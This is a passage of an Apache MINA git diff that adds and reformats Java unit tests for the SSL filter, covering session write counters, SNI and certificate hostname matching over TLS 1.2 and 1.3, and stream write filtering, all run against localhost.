assertEquals(1, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(0, acceptorIoHandler.sentMessageCount); + assertEquals(1, connectionIoHandler.sentMessageCount); + + WriteFuture acceptorWriteFuture = acceptorSession.write("acceptor message"); + assertTrue(acceptorWriteFuture.await(2L, TimeUnit.SECONDS)); + + Thread.sleep(1000L); + + assertEquals(1, acceptorSession.getWrittenMessages()); + assertEquals(1, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(1, acceptorIoHandler.sentMessageCount); + assertEquals(1, connectionIoHandler.sentMessageCount); + } finally { + connectorService.dispose(); + } + } finally { + acceptorService.dispose(); + } + } + + @Test + public void shouldDecrementScheduledWriteMessagesWithSsl() throws Exception { + SSLContext sslContext = createSSLContext(); + + AcceptorIoHandler acceptorIoHandler = new AcceptorIoHandler(handshakeDone, sessionsOpened); + ConnectionIoHandler connectionIoHandler = new ConnectionIoHandler(handshakeDone, sessionsOpened); + + IoService acceptorService = startSslAcceptor(sslContext, acceptorIoHandler); + + try { + IoService connectorService = startSslConnector(sslContext, connectionIoHandler); + + try { + assertTrue(handshakeDone.await(10L, TimeUnit.SECONDS)); + assertTrue(sessionsOpened.await(10L, TimeUnit.SECONDS)); + + IoSession acceptorSession = acceptorIoHandler.session; + IoSession connectorSession = connectionIoHandler.session; + + assertEquals(0, acceptorSession.getWrittenMessages()); + assertEquals(0, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(0, acceptorIoHandler.sentMessageCount); + assertEquals(0, connectionIoHandler.sentMessageCount); + + WriteFuture connectorWriteFuture = connectorSession.write("connector message"); + assertTrue(connectorWriteFuture.await(2L, TimeUnit.SECONDS)); + + Thread.sleep(1000L); + + assertEquals(0, acceptorSession.getWrittenMessages()); + assertEquals(1, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(0, acceptorIoHandler.sentMessageCount); + assertEquals(1, connectionIoHandler.sentMessageCount); + + WriteFuture acceptorWriteFuture = acceptorSession.write("acceptor message"); + assertTrue(acceptorWriteFuture.await(2L, TimeUnit.SECONDS)); + + Thread.sleep(1000L); + + assertEquals(1, acceptorSession.getWrittenMessages()); + assertEquals(1, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(1, acceptorIoHandler.sentMessageCount); + assertEquals(1, connectionIoHandler.sentMessageCount); + } finally { + connectorService.dispose(); + } + } finally { + acceptorService.dispose(); + } + } + + private IoService startAcceptor(IoHandler handler) throws Exception { + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + acceptor.setReuseAddress(true); + + DefaultIoFilterChainBuilder filters = acceptor.getFilterChain(); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + acceptor.setHandler(handler); + acceptor.bind(new InetSocketAddress(port)); + + return acceptor; + } + + private IoService startSslAcceptor(SSLContext sslContext, IoHandler handler) throws Exception { + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + acceptor.setReuseAddress(true); + + SslFilter sslFilter = new SslFilter(sslContext); + sslFilter.setEnabledProtocols(ENABLED_PROTOCOLS); + + DefaultIoFilterChainBuilder filters = acceptor.getFilterChain(); + filters.addLast("ssl", sslFilter); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + acceptor.setHandler(handler); + acceptor.bind(new InetSocketAddress(port)); + + return acceptor; + } + + private IoService startSslConnector(SSLContext sslContext, IoHandler handler) { + NioSocketConnector connector = new NioSocketConnector(); + + SslFilter sslFilter = new SslFilter(sslContext); + sslFilter.setEnabledProtocols(ENABLED_PROTOCOLS); + + DefaultIoFilterChainBuilder filters = connector.getFilterChain(); + filters.addLast("ssl", sslFilter); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + connector.setHandler(handler); + connector.connect(new InetSocketAddress("localhost", port)); + + return connector; + } + + private IoService startConnector(IoHandler handler) { + NioSocketConnector connector = new NioSocketConnector(); + + DefaultIoFilterChainBuilder filters = connector.getFilterChain(); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + connector.setHandler(handler); + connector.connect(new InetSocketAddress("localhost", port)); + + return connector; + } + + + private static SSLContext createSSLContext() throws Exception { + char[] password = "password".toCharArray(); + + KeyStore keyStore = KeyStore.getInstance("JKS"); + keyStore.load(SslIdentificationAlgorithmTest.class.getResourceAsStream(KEY_STORE_PATH), password); + + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + kmf.init(keyStore, password); + + KeyStore trustStore = KeyStore.getInstance("JKS"); + trustStore.load(SslIdentificationAlgorithmTest.class.getResourceAsStream(TRUST_STORE_PATH), password); + + TrustManagerFactory tmf = TrustManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + tmf.init(trustStore); + + SSLContext sslContext = SSLContext.getInstance("TLSv1.2"); + sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); + + return sslContext; + } + + private static final class AcceptorIoHandler extends IoHandlerAdapter { + + private final CountDownLatch handshakeDone; + private final CountDownLatch sessionsOpened; + private IoSession session; + private int sentMessageCount; + + public AcceptorIoHandler(CountDownLatch handshakeDone, CountDownLatch sessionsOpened) { + this.handshakeDone = handshakeDone; + this.sessionsOpened = sessionsOpened; + } + + @Override + public void sessionOpened(IoSession session) { + this.session = session; + sessionsOpened.countDown(); + } + + @Override + public void messageSent(IoSession session, Object message) { + sentMessageCount++; + } + + @Override + public void event(IoSession session, FilterEvent event) { + if (event == SslEvent.SECURED) { + handshakeDone.countDown(); + } + } + } + + private static final class ConnectionIoHandler extends IoHandlerAdapter { + + private final CountDownLatch handshakeDone; + private final CountDownLatch sessionsOpened; + private IoSession session; + private int sentMessageCount; + + public ConnectionIoHandler(CountDownLatch handshakeDone, CountDownLatch sessionsOpened) { + this.handshakeDone = handshakeDone; + this.sessionsOpened = sessionsOpened; + } + + @Override + public void sessionOpened(IoSession session) { + this.session = session; + sessionsOpened.countDown(); + } + + @Override + public void messageSent(IoSession session, Object message) { + sentMessageCount++; + } + + @Override + public void event(IoSession session, FilterEvent event) { + if (event == SslEvent.SECURED) { + handshakeDone.countDown(); + } + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/ssl/SslIdentificationAlgorithmTest.java b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslIdentificationAlgorithmTest.java new file mode 100644 index 0000000000..03f03d6cc2 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslIdentificationAlgorithmTest.java @@ -0,0 +1,345 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; +import org.apache.mina.core.filterchain.IoFilterChain; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SNIHostName; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLParameters; +import javax.net.ssl.TrustManagerFactory; +import java.net.InetSocketAddress; +import java.security.KeyStore; +import java.security.Security; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * Test SNI matching scenarios. (tests for DIRMINA-1122) + * + *
    + * emptykeystore.sslTest        - empty keystore
    + * server-cn.keystore           - keystore with single certificate chain  (CN=mina)
    + * client-cn.truststore         - keystore with trusted certificate
    + * server-san-ext.keystore      - keystore with single certificate chain (CN=mina;SAN=*.bbb.ccc,xxx.yyy)
    + * client-san-ext.truststore    - keystore with trusted certificate
    + * 
    + */ +@RunWith(Parameterized.class) +public class SslIdentificationAlgorithmTest { + + private static final String KEY_MANAGER_FACTORY_ALGORITHM; + + static { + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + + if (algorithm == null) { + algorithm = KeyManagerFactory.getDefaultAlgorithm(); + } + + KEY_MANAGER_FACTORY_ALGORITHM = algorithm; + } + + @Parameterized.Parameters(name = "{0}") + public static List getParameters() { + return Arrays.asList(new Object[][]{{"TLSv1.2"}, {"TLSv1.3"}}); + } + + private final String enabledProtocol; + private int port; + private CountDownLatch handshakeDone; + + public SslIdentificationAlgorithmTest(String enabledProtocol) { + this.enabledProtocol = enabledProtocol; + } + + private static class CustomSslFilter extends SslFilter { + public CustomSslFilter(SSLContext sslContext) { + super(sslContext); + } + + protected SSLEngine createEngine(IoSession session, InetSocketAddress addr) { + //Add your SNI host name and port in the IOSession + String sniHostName = (String)session.getAttribute( "SNIHostNames" ); + int portNumber = (int)session.getAttribute( "PortNumber"); + + SSLEngine sslEngine; + + if (addr != null && sniHostName != null) { + // Use createUnresolved to avoid blocking DNS lookup on the I/O thread + InetSocketAddress peer = InetSocketAddress.createUnresolved(sniHostName, portNumber); + sslEngine = sslContext.createSSLEngine(peer.getHostName(), peer.getPort()); + } else if (addr != null) { + sslEngine = sslContext.createSSLEngine(addr.getHostString(), addr.getPort()); + } else { + sslEngine = sslContext.createSSLEngine(); + } + + // Always start with WANT, which will be squashed by NEED if NEED is true. + // Actually, it makes not a lot of sense to select NEED and WANT. + // NEED >> WANT... + if (wantClientAuth) { + sslEngine.setWantClientAuth(true); + } + + if (needClientAuth) { + sslEngine.setNeedClientAuth(true); + } + + if (enabledCipherSuites != null) { + sslEngine.setEnabledCipherSuites(enabledCipherSuites); + } + + if (enabledProtocols != null) { + sslEngine.setEnabledProtocols(enabledProtocols); + } + + // Set the endpoint identification algorithm + if (getEndpointIdentificationAlgorithm() != null) { + SSLParameters sslParameters = sslEngine.getSSLParameters(); + sslParameters.setEndpointIdentificationAlgorithm(getEndpointIdentificationAlgorithm()); + sslEngine.setSSLParameters(sslParameters); + } + + sslEngine.setUseClientMode(!session.isServer()); + + // Explicitly set the SNI extension so the server receives the correct hostname + if (sniHostName != null && !session.isServer()) { + SSLParameters sslParameters = sslEngine.getSSLParameters(); + sslParameters.setServerNames(Collections.singletonList(new SNIHostName(sniHostName))); + sslEngine.setSSLParameters(sslParameters); + } + + return sslEngine; + } + } + + @Before + public void setUp() { + port = AvailablePortFinder.getNextAvailable(5555); + handshakeDone = new CountDownLatch(2); + } + + @Test + public void shouldAuthenticateWhenServerCertificateCommonNameMatchesClientSNI() throws Exception { + SSLContext acceptorContext = createSSLContext("server-cn.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-cn.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "mina"); + + assertTrue(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldFailAuthenticationWhenServerCertificateCommonNameDoesNotMatchClientSNI() throws Exception { + SSLContext acceptorContext = createSSLContext("server-cn.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-cn.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "example.com"); + + assertFalse(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldFailAuthenticationWhenClientMissingSNIAndIdentificationAlgorithmProvided() throws Exception { + SSLContext acceptorContext = createSSLContext("server-cn.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-cn.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, null); + + assertFalse(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + /** + * Subject Alternative Name (SAN) scenarios + * + * @exception Exception If the test throws an exception + */ + @Test + public void shouldAuthenticateWhenServerCertificateAlternativeNameMatchesClientSNIExactly() throws Exception { + SSLContext acceptorContext = createSSLContext("server-san-ext.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-san-ext.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "xxx.yyy"); + + assertTrue(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldAuthenticateWhenServerCertificateAlternativeNameMatchesClientSNIViaWildcard() throws Exception { + SSLContext acceptorContext = createSSLContext("server-san-ext.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-san-ext.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "aaa.bbb.ccc"); + + assertTrue(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldFailAuthenticationWhenServerCommonNameMatchesSNIAndSNINotInAlternativeName() throws Exception { + SSLContext acceptorContext = createSSLContext("server-san-ext.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-san-ext.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "mina"); + + assertFalse(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldFailAuthenticationWhenMatchingAlternativeNameWildcardExactly() throws Exception { + SSLContext acceptorContext = createSSLContext("server-san-ext.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-san-ext.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "*.bbb.ccc"); + + assertFalse(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + @Test + public void shouldFailAuthenticationWhenMatchingAlternativeNameWithTooManyLabels() throws Exception { + SSLContext acceptorContext = createSSLContext("server-san-ext.keystore", "emptykeystore.sslTest"); + SSLContext connectorContext = createSSLContext("emptykeystore.sslTest", "client-san-ext.truststore"); + + startAcceptor(acceptorContext); + startConnector(connectorContext, "mmm.nnn.bbb.ccc"); + + assertFalse(handshakeDone.await(10, TimeUnit.SECONDS)); + } + + private void startAcceptor(SSLContext sslContext) throws Exception { + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + acceptor.setReuseAddress(true); + + SslFilter sslFilter = new SslFilter(sslContext); + sslFilter.setEnabledProtocols(enabledProtocol); + + DefaultIoFilterChainBuilder filters = acceptor.getFilterChain(); + filters.addLast("ssl", sslFilter); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + acceptor.setHandler(new IoHandlerAdapter() { + + @Override + public void sessionOpened(IoSession session) { + session.write("acceptor write"); + } + + @Override + public void event(IoSession session, FilterEvent event) { + if (event == SslEvent.SECURED) { + handshakeDone.countDown(); + } + } + }); + + acceptor.bind(new InetSocketAddress(port)); + } + + private void startConnector(SSLContext sslContext, String sni) { + NioSocketConnector connector = new NioSocketConnector(); + + SslFilter sslFilter = new CustomSslFilter(sslContext) { + @Override + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { + if (sni != null) { + IoSession session = parent.getSession(); + + session.setAttribute("SNIHostNames", sni ); + session.setAttribute("PortNumber", port); + } + + super.onPreAdd(parent, name, nextFilter); + } + }; + + sslFilter.setEndpointIdentificationAlgorithm("HTTPS"); + sslFilter.setEnabledProtocols(enabledProtocol); + + DefaultIoFilterChainBuilder filters = connector.getFilterChain(); + filters.addLast("ssl", sslFilter); + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + connector.setHandler(new IoHandlerAdapter() { + + @Override + public void sessionOpened(IoSession session) { + session.write("connector write"); + } + + @Override + public void event(IoSession session, FilterEvent event) { + if (event == SslEvent.SECURED) { + handshakeDone.countDown(); + } + } + }); + + connector.connect(new InetSocketAddress("localhost", port)); + } + + private SSLContext createSSLContext(String keyStorePath, String trustStorePath) throws Exception { + char[] password = "password".toCharArray(); + + KeyStore keyStore = KeyStore.getInstance("JKS"); + keyStore.load(SslIdentificationAlgorithmTest.class.getResourceAsStream(keyStorePath), password); + + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + kmf.init(keyStore, password); + + KeyStore trustStore = KeyStore.getInstance("JKS"); + trustStore.load(SslIdentificationAlgorithmTest.class.getResourceAsStream(trustStorePath), password); + + TrustManagerFactory tmf = TrustManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + tmf.init(trustStore); + + SSLContext ctx = SSLContext.getInstance(enabledProtocol); + ctx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); + + return ctx; + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/ssl/SslTest.java b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslTest.java deleted file mode 100644 index 06ea966489..0000000000 --- a/mina-core/src/test/java/org/apache/mina/filter/ssl/SslTest.java +++ /dev/null @@ -1,180 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */package org.apache.mina.filter.ssl; - -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStreamReader; -import java.net.InetAddress; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.security.GeneralSecurityException; -import java.security.KeyStore; -import java.security.Security; - -import javax.net.ssl.KeyManagerFactory; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; -import javax.net.ssl.TrustManagerFactory; - -import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; -import org.apache.mina.core.service.IoHandlerAdapter; -import org.apache.mina.core.session.IoSession; -import org.apache.mina.filter.codec.ProtocolCodecFilter; -import org.apache.mina.filter.codec.textline.TextLineCodecFactory; -import org.apache.mina.transport.socket.nio.NioSocketAcceptor; -import org.apache.mina.util.AvailablePortFinder; -import org.junit.Test; - -/** - * Test a SSL session where the connection is established and closed twice. It should be - * processed correctly (Test for DIRMINA-650) - * - * @author Apache MINA Project - */ -public class SslTest { - /** A static port used for his test, chosen to avoid collisions */ - private static final int port = AvailablePortFinder.getNextAvailable(5555); - - private static Exception clientError = null; - private static InetAddress address; - private static SSLSocketFactory factory; - - /** A JVM independant KEY_MANAGER_FACTORY algorithm */ - private static final String KEY_MANAGER_FACTORY_ALGORITHM; - - static { - String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); - if (algorithm == null) { - algorithm = KeyManagerFactory.getDefaultAlgorithm(); - } - - KEY_MANAGER_FACTORY_ALGORITHM = algorithm; - } - - private static class TestHandler extends IoHandlerAdapter { - public void messageReceived(IoSession session, Object message) throws Exception { - String line = (String) message; - - if (line.startsWith("hello")) { - System.out.println("Server got: 'hello', waiting for 'send'"); - Thread.sleep(1500); - } else if (line.startsWith("send")) { - System.out.println("Server got: 'send', sending 'data'"); - session.write("data"); - } - } - } - - - /** - * Starts a Server with the SSL Filter and a simple text line - * protocol codec filter - */ - private static void startServer() throws Exception { - NioSocketAcceptor acceptor = new NioSocketAcceptor(); - - acceptor.setReuseAddress(true); - DefaultIoFilterChainBuilder filters = acceptor.getFilterChain(); - - // Inject the SSL filter - SslFilter sslFilter = new SslFilter(createSSLContext()); - filters.addLast("sslFilter", sslFilter); - - // Inject the TestLine codec filter - filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); - - acceptor.setHandler(new TestHandler()); - acceptor.bind(new InetSocketAddress(port)); - } - - /** - * Starts a client which will connect twice using SSL - */ - private static void startClient() throws Exception { - address = InetAddress.getByName("localhost"); - - SSLContext context = createSSLContext(); - factory = context.getSocketFactory(); - - connectAndSend(); - - // This one will throw a SocketTimeoutException if DIRMINA-650 is not fixed - connectAndSend(); - } - - private static void connectAndSend() throws Exception { - Socket parent = new Socket(address, port); - Socket socket = factory.createSocket(parent, address.getCanonicalHostName(), port, false); - - System.out.println("Client sending: hello"); - socket.getOutputStream().write("hello \n".getBytes()); - socket.getOutputStream().flush(); - socket.setSoTimeout(10000); - - System.out.println("Client sending: send"); - socket.getOutputStream().write("send\n".getBytes()); - socket.getOutputStream().flush(); - - BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream())); - String line = in.readLine(); - System.out.println("Client got: " + line); - socket.close(); - - } - - private static SSLContext createSSLContext() throws IOException, GeneralSecurityException { - char[] passphrase = "password".toCharArray(); - - SSLContext ctx = SSLContext.getInstance("TLS"); - KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); - TrustManagerFactory tmf = TrustManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); - - KeyStore ks = KeyStore.getInstance("JKS"); - KeyStore ts = KeyStore.getInstance("JKS"); - - ks.load(SslTest.class.getResourceAsStream("keystore.sslTest"), passphrase); - ts.load(SslTest.class.getResourceAsStream("truststore.sslTest"), passphrase); - - kmf.init(ks, passphrase); - tmf.init(ts); - ctx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); - - return ctx; - } - - @Test - public void testSSL() throws Exception { - startServer(); - - Thread t = new Thread() { - public void run() { - try { - startClient(); - } catch (Exception e) { - clientError = e; - } - } - }; - t.start(); - t.join(); - if (clientError != null) - throw clientError; - } -} diff --git a/mina-core/src/test/java/org/apache/mina/filter/stream/AbstractStreamWriteFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/stream/AbstractStreamWriteFilterTest.java index 7d28877dfc..798891f540 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/stream/AbstractStreamWriteFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/stream/AbstractStreamWriteFilterTest.java @@ -47,7 +47,7 @@ import org.apache.mina.transport.socket.nio.NioSocketConnector; import org.apache.mina.util.AvailablePortFinder; import org.easymock.IArgumentMatcher; -import org.easymock.classextension.EasyMock; +import org.easymock.EasyMock; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -64,21 +64,20 @@ public abstract class AbstractStreamWriteFilterTest filter = createFilter(); M message = createMessage(new byte[0]); - WriteRequest writeRequest = new DefaultWriteRequest(message, - new DummyWriteFuture()); + WriteRequest writeRequest = new DefaultWriteRequest(message, new DummyWriteFuture()); NextFilter nextFilter = EasyMock.createMock(NextFilter.class); - /* - * Record expectations - */ + /* + * Record expectations + */ nextFilter.messageSent(session, writeRequest); /* @@ -107,8 +106,7 @@ public void testWriteNonFileRegionMessage() throws Exception { AbstractStreamWriteFilter filter = createFilter(); Object message = new Object(); - WriteRequest writeRequest = new DefaultWriteRequest(message, - new DummyWriteFuture()); + WriteRequest writeRequest = new DefaultWriteRequest(message, new DummyWriteFuture()); NextFilter nextFilter = EasyMock.createMock(NextFilter.class); /* @@ -143,15 +141,13 @@ public void testWriteSingleBufferFile() throws Exception { AbstractStreamWriteFilter filter = createFilter(); M message = createMessage(data); - WriteRequest writeRequest = new DefaultWriteRequest(message, - new DummyWriteFuture()); + WriteRequest writeRequest = new DefaultWriteRequest(message, new DummyWriteFuture()); NextFilter nextFilter = EasyMock.createMock(NextFilter.class); /* * Record expectations */ - nextFilter.filterWrite(EasyMock.eq(session), eqWriteRequest(new DefaultWriteRequest(IoBuffer - .wrap(data)))); + nextFilter.filterWrite(EasyMock.eq(session), eqWriteRequest(new DefaultWriteRequest(IoBuffer.wrap(data)))); nextFilter.messageSent(session, writeRequest); /* @@ -186,15 +182,11 @@ public void testWriteSeveralBuffersStream() throws Exception { byte[] chunk3 = new byte[] { 9, 10 }; M message = createMessage(data); - WriteRequest writeRequest = new DefaultWriteRequest(message, - new DummyWriteFuture()); + WriteRequest writeRequest = new DefaultWriteRequest(message, new DummyWriteFuture()); - WriteRequest chunk1Request = new DefaultWriteRequest(IoBuffer - .wrap(chunk1)); - WriteRequest chunk2Request = new DefaultWriteRequest(IoBuffer - .wrap(chunk2)); - WriteRequest chunk3Request = new DefaultWriteRequest(IoBuffer - .wrap(chunk3)); + WriteRequest chunk1Request = new DefaultWriteRequest(IoBuffer.wrap(chunk1)); + WriteRequest chunk2Request = new DefaultWriteRequest(IoBuffer.wrap(chunk2)); + WriteRequest chunk3Request = new DefaultWriteRequest(IoBuffer.wrap(chunk3)); NextFilter nextFilter = EasyMock.createMock(NextFilter.class); /* @@ -228,7 +220,7 @@ public void testWriteWhileWriteInProgress() throws Exception { AbstractStreamWriteFilter filter = createFilter(); M message = createMessage(new byte[5]); - Queue queue = new LinkedList(); + Queue queue = new LinkedList<>(); /* * Make up the situation. @@ -242,8 +234,7 @@ public void testWriteWhileWriteInProgress() throws Exception { */ EasyMock.replay(nextFilter); - WriteRequest wr = new DefaultWriteRequest(new Object(), - new DummyWriteFuture()); + WriteRequest wr = new DefaultWriteRequest(new Object(), new DummyWriteFuture()); filter.filterWrite(nextFilter, session, wr); assertEquals(1, queue.size()); assertSame(wr, queue.poll()); @@ -261,12 +252,11 @@ public void testWriteWhileWriteInProgress() throws Exception { public void testWritesWriteRequestQueueWhenFinished() throws Exception { AbstractStreamWriteFilter filter = createFilter(); M message = createMessage(new byte[0]); - - WriteRequest wrs[] = new WriteRequest[] { - new DefaultWriteRequest(new Object(), new DummyWriteFuture()), + + WriteRequest wrs[] = new WriteRequest[] { new DefaultWriteRequest(new Object(), new DummyWriteFuture()), new DefaultWriteRequest(new Object(), new DummyWriteFuture()), new DefaultWriteRequest(new Object(), new DummyWriteFuture()) }; - Queue queue = new LinkedList(); + Queue queue = new LinkedList<>(); queue.add(wrs[0]); queue.add(wrs[1]); queue.add(wrs[2]); @@ -275,8 +265,7 @@ public void testWritesWriteRequestQueueWhenFinished() throws Exception { * Make up the situation. */ session.setAttribute(filter.CURRENT_STREAM, message); - session.setAttribute(filter.CURRENT_WRITE_REQUEST, - new DefaultWriteRequest(message)); + session.setAttribute(filter.CURRENT_WRITE_REQUEST, new DefaultWriteRequest(message)); session.setAttribute(filter.WRITE_REQUEST_QUEUE, queue); /* @@ -293,8 +282,7 @@ public void testWritesWriteRequestQueueWhenFinished() throws Exception { */ EasyMock.replay(nextFilter); - filter.messageSent(nextFilter, session, new DefaultWriteRequest( - new Object())); + filter.messageSent(nextFilter, session, new DefaultWriteRequest(new Object())); assertEquals(0, queue.size()); /* @@ -339,8 +327,7 @@ public void testSetWriteBufferSize() { public void testWriteUsingSocketTransport() throws Exception { NioSocketAcceptor acceptor = new NioSocketAcceptor(); acceptor.setReuseAddress(true); - SocketAddress address = new InetSocketAddress("localhost", - AvailablePortFinder.getNextAvailable()); + SocketAddress address = new InetSocketAddress("localhost", AvailablePortFinder.getNextAvailable()); NioSocketConnector connector = new NioSocketConnector(); @@ -351,13 +338,13 @@ public void testWriteUsingSocketTransport() throws Exception { byte[] expectedMd5 = MessageDigest.getInstance("MD5").digest(data); M message = createMessage(data); - + SenderHandler sender = new SenderHandler(message); ReceiverHandler receiver = new ReceiverHandler(data.length); acceptor.setHandler(sender); connector.setHandler(receiver); - + acceptor.bind(address); connector.connect(address); sender.latch.await(); @@ -396,8 +383,7 @@ public void sessionOpened(IoSession session) throws Exception { } @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { LOGGER.error("SenderHandler: exceptionCaught", cause); latch.countDown(); } @@ -409,15 +395,13 @@ public void sessionClosed(IoSession session) throws Exception { } @Override - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { LOGGER.info("SenderHandler: sessionIdle"); latch.countDown(); } @Override - public void messageSent(IoSession session, Object message) - throws Exception { + public void messageSent(IoSession session, Object message) throws Exception { LOGGER.info("SenderHandler: messageSent"); if (message == this.message) { LOGGER.info("message == this.message"); @@ -448,15 +432,13 @@ public void sessionCreated(IoSession session) throws Exception { } @Override - public void 